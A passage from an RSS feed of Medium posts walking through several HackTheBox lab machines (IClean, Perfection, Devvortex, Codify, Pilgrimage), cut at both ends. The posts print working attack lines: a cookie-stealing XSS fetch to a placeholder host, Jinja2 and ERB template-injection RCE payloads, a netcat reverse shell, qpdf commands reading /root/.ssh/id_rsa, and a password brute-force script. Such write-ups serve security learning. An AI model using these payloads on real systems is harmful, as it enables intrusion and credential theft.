onerror=fetch(&quot;http://&lt;your_ip&gt;:&lt;port&gt;/&quot;+document.cookie);&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pEpwj0hmKRFpmWGSBt4zfQ.png" /><figcaption>session extraction</figcaption></figure><blockquote>You have several ways to login with the session either by using extensions, burp or inspect storage.</blockquote><p>Let’s access the dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N1R4woz8i3O5Zdc2tdWivQ.png" /><figcaption>/dashboard endpoint</figcaption></figure><p>I opened every link and played with it until I understood the workflow of Generating QR code.</p><p>First, we have to generate invoice at /InvoiceGenerator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*INJgLlMyBd_qW_egaQyvwQ.png" /><figcaption>Invoice Generator</figcaption></figure><p>It gave me an invoice ID to add in the next step which is QR Generator endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dqE0v44HglVSgnRLZyRphg.png" /><figcaption>QR Generator</figcaption></figure><p>Which gave me a link to submit to generate a scannable invoice.</p><p>Testing through the whole process, i got nothing. But here when i inject a dummy string instead of QR link, it gets reflected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r4XC9rA6C4bHlMie09nhYQ.png" /><figcaption>QR Link Injection</figcaption></figure><p>After some time of trying some injections, I found it’s vulnerable to SSTI.</p><p>Checking wappalyzer, I found it’s using Flask. so I google for Jinja2 SSTI payloads, by injecting some payloads I got errors as the app was filtering some characters.</p><p>I tried encoding, but it didn’t work. So I googled again until I got a bypass.</p><pre>{{request|attr(&#39;application&#39;)|attr(&#39;\x5f\x5fglobals\x5f\x5f&#39;)|attr(&#39;\x5f\x5fgetitem\x5f\x5f&#39;)(&#39;\x5f\x5fbuiltins\x5f\x5f&#39;)|attr(&#39;\x5f\x5fgetitem\x5f\x5f&#39;)(&#39;\x5f\x5fimport\x5f\x5f&#39;)(&#39;os&#39;)|attr(&#39;popen&#39;)(&#39;id&#39;)|attr(&#39;read&#39;)()}}</pre><p>Sending the request using the payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uFgo1Pm1U4YY3_4OJ1kxLA.png" /><figcaption>RCE from qr_link paramter</figcaption></figure><p>We finally got an RCE on the box.</p><blockquote>I tried to get a shell, but it didn’t work with me so I uploaded a shell and I executed it remotely to get a reverse shell.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*nhLH1umuKPXfF2dvfAaGRg.png" /><figcaption>Shell</figcaption></figure><h3>Lateral Movement</h3><h4>Enumeration</h4><p>By having access on the box, I first like to read the web application files as it may contain some credentials.</p><p>As I expected, reading app.py, I got SQL credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*N-QlK5t9Yyl4hBUGFyG-Hg.png" /><figcaption>SQL credentials</figcaption></figure><p>So let’s get the dump the database.</p><p>I tried to login to mysql, but it didn’t work with me. So I found another way of executing mysql commands.</p><pre>mysql --database capiclean -e &#39;&lt;command&gt;&#39; -u iclean -p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*cmb2sU5SNuUyRcT0mald6Q.png" /><figcaption>Dumping database</figcaption></figure><p>Reading through the database, I found two users hash one of them is a user on the box.</p><p>Let’s crack it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gXEVkfomUI72ZPKXBjIqeg.png" /><figcaption>Cracking the hash</figcaption></figure><p>After we got the password, let’s switch user and get more privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*OFXx3KdpYKVtWiMAz4JwoQ.png" /></figure><p>After reading user file, doing some basic enumeration by running sudo -l to check if there is any files I can run as a root and I found that I am able to run a tool called qpdf.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*ZbZ-2IACbgVLBXqCGFR66A.png" /></figure><p>I googled for exploits or CVEs, but I got nothing.</p><p>So We only have to read its documentation.</p><pre>qpdf --help=all</pre><p>After long time of trial and error, I found i could copy any file in the system in a form of pdf.</p><pre>sudo qpdf --empty output.pdf -qfd --add-attachment anyfile.txt --</pre><p>To just read the root file.</p><pre>sudo qpdf --empty root.pdf -qfd --add-attachment /root/root.txt --</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*30raE5SigVdfpUGVt7mJBw.png" /></figure><p>then</p><pre>strings root.pdf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*szwC_f-ET_AQWbI-pEu14w.png" /><figcaption>root.txt</figcaption></figure><h3>Root</h3><p>To get a root access, we have several options: we can read /root/.ssh/id_rsa file and get ssh access or read /etc/shadow file and crack root’s password.</p><p>I choosed to read /root/.ssh/id_rsa file.</p><pre>sudo qpdf --empty id_rsa.pdf -qfd --add-attachment /root/.ssh/id_rsa --</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*j_QB3UKTUwbXuI02FHGWpA.png" /></figure><p>then</p><pre>strings id_rsa.pdf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*0xTJ5ZHcETvnApIJ8HYs-g.png" /></figure><p>First, copy the openssh private key to file.</p><p>then, change the permissions.</p><pre>chmod 600 id_rsa</pre><p>Finally, ssh using the the private key to get root.</p><pre>ssh -i id_rsa root@capiclean.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*jk_rG2m4t4RqywMVqHmiCQ.png" /><figcaption>Root</figcaption></figure><h3>Conclusion</h3><p>This was great fun!</p><p>I hope you enjoyed the walkthrough. I waiting for your feedbacks.</p><p>Don’t forget to check other walkthroughs.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e31d45bfafed" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox | Perfection Walkthrough]]></title>
            <link>https://3bdulr7man.medium.com/hackthebox-perfection-walkthrough-572e7b0226ec?source=rss-218651086927------2</link>
            <guid isPermaLink="false">https://medium.com/p/572e7b0226ec</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[Abdulrhman  ]]></dc:creator>
            <pubDate>Mon, 10 Jun 2024 14:17:49 GMT</pubDate>
            <atom:updated>2024-06-10T14:17:49.212Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Friends, back again with a new HTB machine walkthrough.</p><p>Hope you are doing well ❤️</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lfQCRDxsenq2ZQCCdlaIpg.png" /></figure><p>let’s get started with enumeration.</p><h3>Enumeration</h3><h4>Nmap Scan</h4><pre>nmap -T4 -v -p- -sCV &lt;target_ip&gt;</pre><p>By running this command, as usual we got two open ports: port 22 running a SSH, port 80 running HTTP.</p><h4>Web Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8irWG2uqpBScJu0zZwb_aA.png" /><figcaption>Web Interface</figcaption></figure><p>Doing some manual enumeration, we got some useful informations that can help when we move forward.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_en7Fx-2Vi2xpB1NWmhAWw.png" /><figcaption>Interesting Information</figcaption></figure><p>The application is powered by WEBrick 1.7.0.</p><p>By navigating to About Us page, I was able to get two users Tina Smith and Susan Miller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lz6q8dO5ed2qbmUm56oz-g.png" /><figcaption>About Us page</figcaption></figure><p>Let’s move forward and got to Calculate your weighted grade page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nk5rudrNpYLs1xVh8Zpltg.png" /><figcaption>Calculate your weighted grade page</figcaption></figure><p>As I know, this type of features may be using Templates. So here I googled What template does WEBrick 1.7.0 use and as I expected it use Ruby ERB template.</p><p>So let’s try to inject some Ruby ERB SSTI payloads.</p><blockquote>Note: The weight parameters must have the sum of 100, this is a little bit noisy</blockquote><p>Trying some SSTI payloads in any one of category parameters, this one worked with me after try and error.</p><pre>%0A&lt;%= system(&quot;command&quot;) %&gt; </pre><blockquote>You should URL-Encode the payload to prevent errors and bypass any limitation</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nDYnmGYRIftdv3hVLLMVMg.png" /><figcaption>Test SSTI Payloads</figcaption></figure><p>So let’s get a Shell on the box</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OAK7FfFO38s50382vyc_sw.png" /><figcaption>RCE on the Box</figcaption></figure><h3>Lateral Movement</h3><h4>Enumeration</h4><p>By doing some basic enumeration, I found an interesting directory in the home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*effY0CuaD8u66BSb74_uRQ.png" /><figcaption>Found Interesting Directory</figcaption></figure><p>So let’s get the dump the database file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*yOpi-p_5U_KGRKKgKmfyUw.png" /><figcaption>Found Susan hash</figcaption></figure><p>We get the other user’s hash, let’s crack it and move forward.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z9dOrK7bVlhw344d5apJmA.png" /></figure><p>Here, The hash was uncrackable so let’s do more further enumeration to collect more information that may help.</p><p>After some time of manual enumeration, I found an interesting mail.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*b5WS1F3Wg18EDvjVWHrPHQ.png" /><figcaption>Interesting mail</figcaption></figure><p>We got a hint about how the password may look like.</p><p>So let’s bruteforce it.</p><pre>hashcat -m 1400 &lt;found_hash&gt; -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*56A1y_NLWaUQMZQ_C2dt0A.png" /><figcaption>Bruteforcing</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*laurVwO7i0hId3ju79gl5w.png" /><figcaption>We get the password</figcaption></figure><p>After we got the password, Let’s login with susan or we can now ssh into the box.</p><h3>Privilege Escalation</h3><p>By running sudo -l as a basic enumeration, I got shocked. we find out susan is able to act as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*EbEkBzk8y8LxoPHWkROYKw.png" /><figcaption>root</figcaption></figure><h3>Conclusion</h3><p>This was great fun!</p><p>I hope you enjoyed the walkthrough. I waiting for your feedbacks.</p><p>Don’t forget to check other walkthroughs.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=572e7b0226ec" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox | Devvortex Walkthrough]]></title>
            <link>https://3bdulr7man.medium.com/hackthebox-devvortex-walkthrough-d23460255fd1?source=rss-218651086927------2</link>
            <guid isPermaLink="false">https://medium.com/p/d23460255fd1</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Abdulrhman  ]]></dc:creator>
            <pubDate>Thu, 09 May 2024 21:33:58 GMT</pubDate>
            <atom:updated>2024-05-09T21:33:58.242Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi Folks!</p><p>Hope you are doing well ❤️.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*LC2axnJkqExEeVan2cd1Eg.png" /></figure><p>let’s get started with enumeration.</p><p>But first, let’s add the domain name to the hosts file.</p><pre>echo &quot;&lt;target_ip&gt;  devvortex.htb&quot; &gt;&gt; /etc/hosts</pre><h3>Enumeration</h3><h4>Nmap Scan</h4><pre>nmap -T4 -v -p- -sCV &lt;target_ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*x2dWJaGM454sHOQQNqHMJg.png" /><figcaption>nmap scan</figcaption></figure><p>We got two open ports: port 22 running a SSH, port 80 running HTTP.</p><h4>Web Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P7URqVyKGGTbk_u6pCvHqA.png" /><figcaption>web interface</figcaption></figure><p>Doing some manual enumeration as well as using dirsearch to fuzz directories and reading the source code, I got nothing.</p><p>I thought of brute forcing subdomains, as a last step before digging deeper.</p><p>Here, I like to use wfuzz and as I expected, I found a subdomain.</p><pre>wfuzz -w &lt;wordlist&gt; -u http://devvortex.htb/ -H &#39;Host: FUZZ.devvortex.htb&#39; -t 60 --hc 302</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*MCpUQOSoP-y6MsxsREGzRg.png" /><figcaption>subdomain brute force</figcaption></figure><p>So let’s add the new subdomain to /etc/hosts file.</p><h4>Subdomain Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I-cqKlOYVK0NGCrxRD2DLA.png" /><figcaption>subdomain interface</figcaption></figure><p>Doing manual enumeration again, I got nothing.</p><p>Here I used dirsearch to fuzz directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*RKlVjd2cb06cZGfO1uh_eg.png" /><figcaption>dirsearch</figcaption></figure><p>Administrator endpoint caught my eyes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AG-JbOlnHsx7u90Wqz02rA.png" /><figcaption>/administrator endpoint</figcaption></figure><p>It’s Joomla CMS. So let’s look for its version as it may have a CVE.</p><p>Navigating through /README.txt endpoint reveals the version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l2LDum1zwcKmaZ7lIQHZ8A.png" /><figcaption>Joomla version</figcaption></figure><p>Googling this version, I found it has Unauthenticated Information Disclosure CVE-2023–23752.</p><p>We can use this POC.</p><p><a href="https://github.com/Acceis/exploit-CVE-2023-23752">GitHub - Acceis/exploit-CVE-2023-23752: Joomla! &lt; 4.2.8 - Unauthenticated information disclosure</a></p><p>It didn’t work with me and it gave me a lot of errors. Here, I read the source code and I get where the vulnerability is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*XIbaTWoDE7J8PLwL-1Di-g.png" /><figcaption>manual exploitation</figcaption></figure><p>Navigating through the response, I found credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*kfORmLfi_CcGOpz4iKsoEg.png" /><figcaption>Founding credentials</figcaption></figure><p>Here, I tried to login to SSH, but it didn’t work. So let’s login to Joomla Administrator Portal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ix_v0XqYXEKHxABG5SFb4w.png" /><figcaption>Joomla Dashboard</figcaption></figure><p>So let’s try to modify any template to get a shell on the box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BKUzRkx1vZ_oMQHbah7omA.png" /><figcaption>modifying a template</figcaption></figure><p>On clicking save and going to the modified link, I got a hit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*tW9z-Xdh3XWURLR8HMk6vA.png" /><figcaption>shell on the box</figcaption></figure><h3>Lateral Movement</h3><h4>Enumeration</h4><p>By doing some basic enumeration, I found mysql port is open used by Joomla.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*iWtYOshtBCcw69Pc2aaO_w.png" /></figure><p>So let’s connect to MySQL server using the found credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*D-tOZvBZcS3CPRbiwzj-Wg.png" /><figcaption>connect to mysql</figcaption></figure><p>Duming the joomla database, I got the hash of the other user on the box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*maKBNlDb8BREBCzVdVRhFA.png" /><figcaption>dumping joomla database</figcaption></figure><p>Let’s crack the hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*YoA55UOrarpK4POye9NkIw.png" /><figcaption>cracking the hash</figcaption></figure><h4>SSH</h4><p>Let’s try to SSH using the new credentials and it worked this time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*3BMzPEWJDWrDRfX3le9IrA.png" /><figcaption>ssh login</figcaption></figure><h4>Privilege Escalation</h4><p>By running sudo -l as a basic enumeration, we can run apport-cli as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*CcS-nXk71etKbbzn7XKLQw.png" /><figcaption>sudo -l</figcaption></figure><p>Here, I decided to get its version as it may have an exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/346/1*veUQJ-a_4eGeOoZjFWdm7g.png" /></figure><p>Here, I googled the version and after some time, I got another CVE-2023–1326.</p><p><a href="https://vk9-sec.com/cve-2023-1326privilege-escalation-apport-cli-2-26-0/">(CVE-2023-1326)[Privilege Escalation] apport-cli 2.26.0</a></p><p>By following the POC, I was able to become root!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*Y6JEUnDUeUUn9iHY2aXJmQ.png" /><figcaption>root</figcaption></figure><h3>Conclusion</h3><p>This was great fun!</p><p>I hope you enjoyed the walkthrough. I waiting for your feedbacks.</p><p>Don’t forget to check other walkthroughs.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d23460255fd1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox | Codify Walkthrough]]></title>
            <link>https://3bdulr7man.medium.com/hackthebox-codify-walkthrough-0ff3b91a7eda?source=rss-218651086927------2</link>
            <guid isPermaLink="false">https://medium.com/p/0ff3b91a7eda</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Abdulrhman  ]]></dc:creator>
            <pubDate>Sun, 07 Apr 2024 12:44:27 GMT</pubDate>
            <atom:updated>2024-04-07T12:44:27.834Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi Folks!</p><p>Hope you are doing well.</p><p>let’s get started with enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JMLGozquyBLfLwyU_MwEBg.png" /></figure><h3>Enumeration</h3><h4>Nmap Scan</h4><pre>nmap -T4 -v -p- -sCV &lt;target_ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*juQc4GxK4exCAgzq-qymQg.png" /><figcaption>nmap scan</figcaption></figure><p>We got two open ports: port 22 running a SSH, port 80 running HTTP.</p><p>The nmap disclose domain name. so let’s add it to the hosts file.</p><pre>echo &quot;&lt;target_ip&gt;  codify.htb&quot; &gt;&gt; /etc/hosts</pre><h4>Web Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FPcy2cdW2rUH2_xgLfp-TA.png" /><figcaption>web interface</figcaption></figure><p>Doing manual enumeration, we got /editor page, we can run node js code in sandbox environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J6qqC4ITkkJienNPxHnYgQ.png" /><figcaption>/editor page</figcaption></figure><p>After trying to bypassing sandbox to get RCE or to read system files, I found it has some limitations on /limitations page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f8_zlKJB0P4oel9Uy8XYig.png" /><figcaption>/limitations page</figcaption></figure><p>Here, I couldn’t bypass the sandbox envirnoment. So I returned back to navigate through the pages.</p><p>I got an interesting finding on /about page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6eBmHKBX6exCg6wrDIJqkA.png" /><figcaption>/about page</figcaption></figure><p>It says it is using the <strong>vm2 library</strong> to run Javascript code in a sandbox environment.</p><p>Here, I googled it, and I found an exploitation to bypass the sandbox and get RCE on the system.</p><p><a href="https://www.exploit-db.com/exploits/51898">OffSec&#39;s Exploit Database Archive</a></p><blockquote>Sandbox Bypass CVE-2023–30547, which allows an attacker to bypass sandbox limitations and execute arbitrary code in the host environment.</blockquote><p>Imodified the POC to get the ID of the user to test it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jR12FJcOzSmdgp1hrN-PgA.png" /><figcaption>Testing the POC</figcaption></figure><p>Let’s modify the POC to get a shell!!</p><pre>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2&gt;&amp;1|nc &lt;attacker_ip&gt; &lt;port&gt; &gt;/tmp/f</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*pNyVEM-W7YkWDOwG4BTu7Q.png" /><figcaption>Shell on the system</figcaption></figure><h3>Lateral Movement</h3><h4>Enumeration</h4><p>After doing basic manual enumeration on the box, I found nothing.</p><p>I decided to check the web home directory /var/www and I found a database file in /var/www/contacts/ directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Zq5rPEpFeHx5Y9oXB06_kQ.png" /><figcaption>Joshua hash</figcaption></figure><p>We got a hash from the database file, let’s crack it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*7awF0wiE3EPEdSJ-8y7SCg.png" /><figcaption>cracking the hash</figcaption></figure><h4>SSH Login</h4><p>We got the password for Joshua, let’s try to SSH using this credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*B9vASk4rir3cVf7VAkM8dw.png" /><figcaption>ssh login</figcaption></figure><h4>Privilege Escalation</h4><p>By running sudo -l we can execute /opt/scripts/mysql-backup.sh script as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*5ME5suJfNxZ54NTuJfx_ew.png" /><figcaption>sudo -l</figcaption></figure><p>Let’s view the script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*XhwTb9Ti42Q8BlFC-OCEHw.png" /><figcaption>sudo -l script</figcaption></figure><p>By running the script, the script get the root password to create a backup of the database.</p><p>The comparison of the input with root is vulnerable. If we put * as input it will be accepted.</p><p>Here, we can create a script to brute force the root password until we got the password, for example: a*, b*, etc..</p><p>Here, the used python script to bruteforce the password.</p><pre>import string<br>import subprocess<br><br>all = list(string.ascii_letters + string.digits)<br>password = &quot;&quot;<br>found = False<br><br>while not found:<br>    for character in all:<br>        command = f&quot;echo &#39;{password}{character}*&#39; | sudo /opt/scripts/mysql-backup.sh&quot;<br>        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout<br><br>        if &quot;Password confirmed!&quot; in output:<br>            password += character<br>            print(password)<br>            break<br>    else:<br>        found = True</pre><p>After running the script, we got the root password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*fgYCa4DglOBitgL8Gi88rQ.png" /><figcaption>root</figcaption></figure><h3>Conclusion</h3><p>This was great fun!</p><p>I hope you enjoyed the walkthrough. I waiting for your feedbacks.</p><p>Don’t forget to check other walkthroughs.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0ff3b91a7eda" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox | Pilgrimage Walkthrough]]></title>
            <link>https://3bdulr7man.medium.com/hackthebox-pilgrimage-walkthrough-087b155e6e39?source=rss-218651086927------2</link>
            <guid isPermaLink="false">https://medium.com/p/087b155e6e39</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Abdulrhman  ]]></dc:creator>
            <pubDate>Wed, 20 Mar 2024 15:51:20 GMT</pubDate>
            <atom:updated>2024-03-20T15:51:20.645Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi Folks!</p><p>Hope you are doing well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j-d6WreAJ60HUUqkBT7BmQ.png" /></figure><p>let’s get started with enumeration.</p><h3>Enumeration</h3><h4>Nmap Scan</h4><pre>nmap -T4 -v -p- -sCV &lt;target_ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*XKcQ6QNHRZ9Yv6PI_kXNgw.png" /><figcaption>nmap</figcaption></figure><p>We got two open ports: port 22 running a SSH, port 80 running HTTP.</p><p>The nmap disclose domain name. so let’s add it to the hosts file.</p><pre>echo &quot;&lt;target_ip&gt;  pilgrimage.htb&quot; &gt;&gt; /etc/hosts</pre><h4>Web Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qaYNWkuxF_9AK8xDrdSb2g.png" /><figcaption>web interface</figcaption></figure><p>We got a file upload feature, which might have a file upload vulnerability. Additionally, we can register and log in.</p><p>I run dirsearch while I was doing some testing on the upload function and trying to upload a reverse shell, but it didn’t work.</p><pre>dirsearch -u http://pilgrimage.htb/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*3vVlP0LjnOu3UNzhiI6WYw.png" /><figcaption>dirsearch report</figcaption></figure><p>There’s a .git directory. So let’s try to dump the source code.</p><pre>git-dumper http://pilgrimage.htb/.git/ git</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*_iM63ymMbQPN9hHNlHIJWQ.png" /><figcaption>git-dumper</figcaption></figure><p>After downloading the /.git using the <a href="https://github.com/arthaud/git-dumper">git-dumper</a> tool, we were able to examine the source code of the web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*48KzxGTjEZuXH_BOAelOsg.png" /><figcaption>Application source code</figcaption></figure><p>After a while of analyzing the source code, I found the application use ImageMagick and we got its binary dumped from git.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vCqperyEEmKAIy7yNQ5CGw.png" /><figcaption>examining the source code</figcaption></figure><p>Let’s get magick version, there may be an exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*lLxZkUegpA9cVi9azu-sbw.png" /><figcaption>magick version</figcaption></figure><p>After searching online for a vulnerability, I found it has a Arbitrary File Read Vulnerability with CVE-2022–44268 .</p><p>Following the steps of this <a href="https://github.com/voidz0r/CVE-2022-44268">repo</a>, we can read internal files.</p><p>First, we generate a modified PNG file that will allow us to upload it to the system. Once the file is downloaded, we can then read the contents of our /etc/passwd file from that modified file.</p><pre>cargo run &quot;/etc/passwd&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*EluVrJNa-rIy6bc3flt6iA.png" /><figcaption>First step</figcaption></figure><p>After uploading the image, we can download the processed image to read the file from.</p><p>By running identify -verbose on the downloaded image, we got a encoded hex value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*ri_Ah_l0y14Yt2ZQPDDBSg.png" /><figcaption>follow the poc</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*6nFj58tE9MSV4wY4FCpMGA.png" /><figcaption>hex data</figcaption></figure><p>By decoding it, we got the /etc/passwd file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4wsIwzhlB6fbrIJMqDsKDw.png" /><figcaption>/etc/passwd file</figcaption></figure><p>We got there is an emily user at the end of /etc/passwd file.</p><p>So I tried to read the content of /home/emily/.ssh/id_rsa using the same method, but unfortunately, we got no results.</p><p>So let’s try to access the database file that we’ve identified its path from the source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xlt3EUCCrjDkZbUo4uiJYA.png" /><figcaption>database file path</figcaption></figure><p>Let’s do it.</p><pre>cargo run &quot;/var/db/pilgrimage&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*sbufcNxRiDsfspEiiPAv7w.png" /></figure><p>Upload the image and download the processed image, then identify the image and get hex data with significant amount of null value.</p><p>By decoding it, we got a login credentials for user emily.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TQIcMtgGtuf5lTaaW4iaaA.png" /><figcaption>found credentials</figcaption></figure><h3>Lateral Movement</h3><h4>SSH Login</h4><p>Let’s try to login with the found credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*1LiXJf82NyGMt1S7wnWoZg.png" /><figcaption>ssh login</figcaption></figure><p>It worked!!</p><h4>Privilege Escalation</h4><p>I tried to do some manual enumeration, but I got nothing.</p><p>I decided to use <a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS">linpeas</a>, I found that there’s a process and the root user is executing a file named /usr/sbin/malwarescan.sh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*oEoG3tOqQ6ye88a0yfBF2g.png" /><figcaption>linpeas results</figcaption></figure><p>Let’s try to read the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*tVjA03Tajd_mnOuWw0xpVA.png" /><figcaption>malwarescan.sh</figcaption></figure><blockquote>This Bash script appears to be a file monitoring script that uses inotifywait to watch a directory (/var/www/pilgrimage.htb/shrunk/) for newly created files. When a new file is created in that directory, It extracts the filename from the output of inotifywait using tail and sed commands. It then uses /usr/local/bin/binwalk to analyze the binary content of the file specified by the extracted filename. It checks if the output of binwalk contains any of the strings listed in the blacklist array. If any of the blacklisted strings are found in the binout variable (which stores the output of binwalk), it deletes the file using /usr/bin/rm.</blockquote><p>So let’s get binwalk version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*Lp9JdaowDYXDaDvdi0JTxA.png" /><figcaption>binwalk version</figcaption></figure><p>After searching, we found this version has a vulnerability that allows arbitrary code execution, CVE-2022–4510.</p><p>I used this <a 